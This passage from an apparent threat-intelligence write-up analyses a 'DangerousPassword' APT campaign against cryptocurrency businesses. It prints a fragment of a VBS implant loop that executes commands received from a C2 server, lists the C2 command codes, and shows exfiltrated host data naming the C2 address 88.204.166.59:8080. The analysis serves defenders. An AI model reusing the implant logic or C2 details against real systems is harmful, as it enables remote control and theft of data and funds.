psc<>\"\" then\n\t\t\tExecute(psc)\n\t\t\texit do\n\t\tend if\n\telseif res=\"21\" then\n\t\texit do\n\telseif InStr(1,res,\"23#\")
<>0 then\n\t\tnps=InStr(1,res,\"#\")\n\t\tExecute(bdec(Mid(res,nps+1,Len(res)-nps)))\n\tend if\n\tWScript.Sleep 60*1000\nloop
```

\n
We can list the codes used for the communications to the C2 and implant :

\n
Note : # is a wildcard in VBA for matches with any digit character

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Code	Description
20#	Execute commands in clear
21	Exit Session
22	OK received informations (debug commands)
23#	Execute commands with base 64 + substrings operations as obfuscation

\n
We can see on the informations send in clear to the C2 that the list of informations rest the same since mid 2019 :

\n

```
Current Time:\t3/31/2020 3:31:37 AM\nUsername:\tUSER-PC\\admin\nHostname:\tUSER-PC\nOS Name:\tMicrosoft Windows 7 Professional  32-
bit\nOS Version:\t6.1.7601\nInstall Date:\t10/05/2017\nBoot Time:\t3/31/2020 12:28:48 AM\nTime Zone:\t(UTC 1 hours) GMT Standard
Time\nCPU:\t\tIntel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64)\nPath:
\tC:\\Users\\admin\\AppData\\Local\\Temp\\iilbat.vbs\nNetwork Adapter:\tIntel(R) PRO/1000 MT Network Connection\n  MAC
Address:\t[MAC]\n  IP Address:\t192.168.X.X,[MAC]\n  Subnet Mask:\t255.255.255.0,64\n  Default Gateway:\t192.168.X.X\n  DNS
Server:\t192.168.X.X\n264\t0\tsmss.exe\n344\t0\tcsrss.exe\n380\t0\twininit.exe\n388\t1\tcsrss.exe\n428\t1\twinlogon.exe\n472\t0\tse
rvices.exe\n484\t0\tlsass.exe\n492\t0\tlsm.exe\n1188\t0\tspoolsv.exe\n1364\t0\tIMEDICTUPDATE.EXE\n1428\t0\tqemu-
ga.exe\n1968\t1\t\"taskhost.exe\"\n1984\t1\ttaskeng.exe {DE21909D-DEE6-419E-AF8D-
D6899DCE61F7}\n2044\t1\t\"C:\\Windows\\system32\\Dwm.exe\"\n372\t1\tC:\\Windows\\Explorer.EXE\n652\t1\tC:\\Windows\\System32\\ctfmo
n.exe \n1120\t0\tSearchIndexer.exe\n1932\t1\t\"windanr.exe\"\n2736\t1\t\"C:\\Program Files\\WinRAR\\WinRAR.exe\"
\"C:\\Users\\admin\\AppData\\Local\\Temp\\3249e2eb1eaa628dcf7c83062463bc6bad36515b130e760333da98ea8ffd362e.rar\"\n1720\t1\t\"C:\\Wi
ndows\\System32\\cmd.exe\" /C \"ECHO risk2020>C:\\Users\\admin\\AppData\\Local\\Temp\\Password.txt&NOTEPAD.EXE
C:\\Users\\admin\\AppData\\Local\\Temp\\Password.txt&DEL C:\\Users\\admin\\AppData\\Local\\Temp\\Password.txt\"\n3020\t1\t\\??
\\C:\\Windows\\system32\\conhost.exe \"1233334231726783925-1766655123-1154929739-1178529684175521206-
1063023584185390692 8\n680\t1\tNOTEPAD.EXE
C:\\Users\\admin\\AppData\\Local\\Temp\\Password.txt\n588\t0\tWmiPrvSE.exe\n3292\t1\twscript
\"C:\\Users\\admin\\AppData\\Local\\Temp\\iilbat.vbs\" 88.204.166.59:8080/edit 1 \n3284\t1\twscript
\"C:\\Users\\admin\\AppData\\Local\\Temp\\iilbat.vbs\" 88.204.166.59:8080/edit 2 \n
```

\n
According with the analysis of the Japanese CERT (June 2019), the list is the same :

\n

- \n
- Username
- \n
- Hostname
- \n
- OS version
- \n
- OS install date
- \n
- OS runtime
- \n
- Timezone

\n
- CPU name

\n
- Execution path of vbs file

\n
- Network adapter information

\n
- List of running processes

\n

\n
On the opendir, like the last observations on the group, legit VNC binaries can be found, this indicates that the group have kept the same TTPs for the extraction of the data. This high probable that the group do manual actions for reduce the security measures and execute the tools for obtain the data on the crypto-occurencies.

\n
China doesn't recognize cryptocurrencies as legal tender and the banking system isn't accepting cryptocurrencies or providing relevant services for trading in place since September 2017. The Chinese government has recently promoted a law facilitating the transition to the exchange of a virtual currency led by the state, this change explained why since the campaign of January, China is now in the focus of the Asian countries targeted by the group (the announcement also caused an increase in bitcoins and these derivative currencies). The TTPs of the group are the same since mid 2019 and rest focus on the steal of the crypto-occurencies.

\n

Cyber kill chain

\n
This process graph represent the cyber kill chain used by the attacker.

\n
\n \n

\n

Indicators Of Compromise (IOC)

\n
The IOC can be exported in JSON and CSV

\n

References MITRE ATT&CK Matrix

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Enterprise tactics	Technics used	Ref URL
Execution	Command-Line Interface Scripting Mshta	https://attack.mitre.org/techniques/T1059/ https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1170/
Defense Evasion	Scripting Install Root Certificate Mshta	https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1130/ https://attack.mitre.org/techniques/T1170/
Discovery	Query Registry	https://attack.mitre.org/techniques/T1012/

\n
This can be exported as JSON format Export in JSON

\n

Links

\n
Original tweet:

\n
\n
https://twitter.com/Rmy_Reserve/status/1244817235211739141
\n

\n

Links Anyrun:

\n
\n
https://app.any.run/tasks/67ebd848-26f8-4cb3-9a1f-8ff4f3a0c12e
\n

\n
Articles

\n
\n
- Spear Phishing against Cryptocurrency Businesses
\n
- [Chinese]The Nightmare of Global Cryptocurrency Companies: Demystifying APT Group's \"Dangerous Passwords\"
\n
- China Enacts Crypto Law in Run-Up to State Digital Currency Debut
\n

\n","renderedFileInfo":null,"tabSize":8,"topBannersInfo":
{"overridingGlobalFundingFile":false,"globalPreferredFundingPath":null,"repoOwner":"StrangerealIntel","repoName":"CyberThreatIntel","showInvali
cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-
files","showDependabotConfigurationBanner":false,"actionsOnboardingTip":null},"truncated":false,"viewable":true,"workflowRedirectUrl":null,"symb
{"timedOut":false,"notAnalyzed":true,"symbols":[]}},"copilotAccessInfo":null,"csrf_tokens":{"/StrangerealIntel/CyberThreatIntel/branches":
{"post":"7z2tA0viEAm2WDF32vljqpgJL5PiM_D3s1XbpxTS8GqR5DZt08HQe7WEZMFLuJ90HXUr1kY-
u8FrMe04oYglEg"}}},"title":"CyberThreatIntel/offshore APT organization/DangerousPassword/2020-04-02/Analysis.md at master ·
StrangerealIntel/CyberThreatIntel","locale":"en"}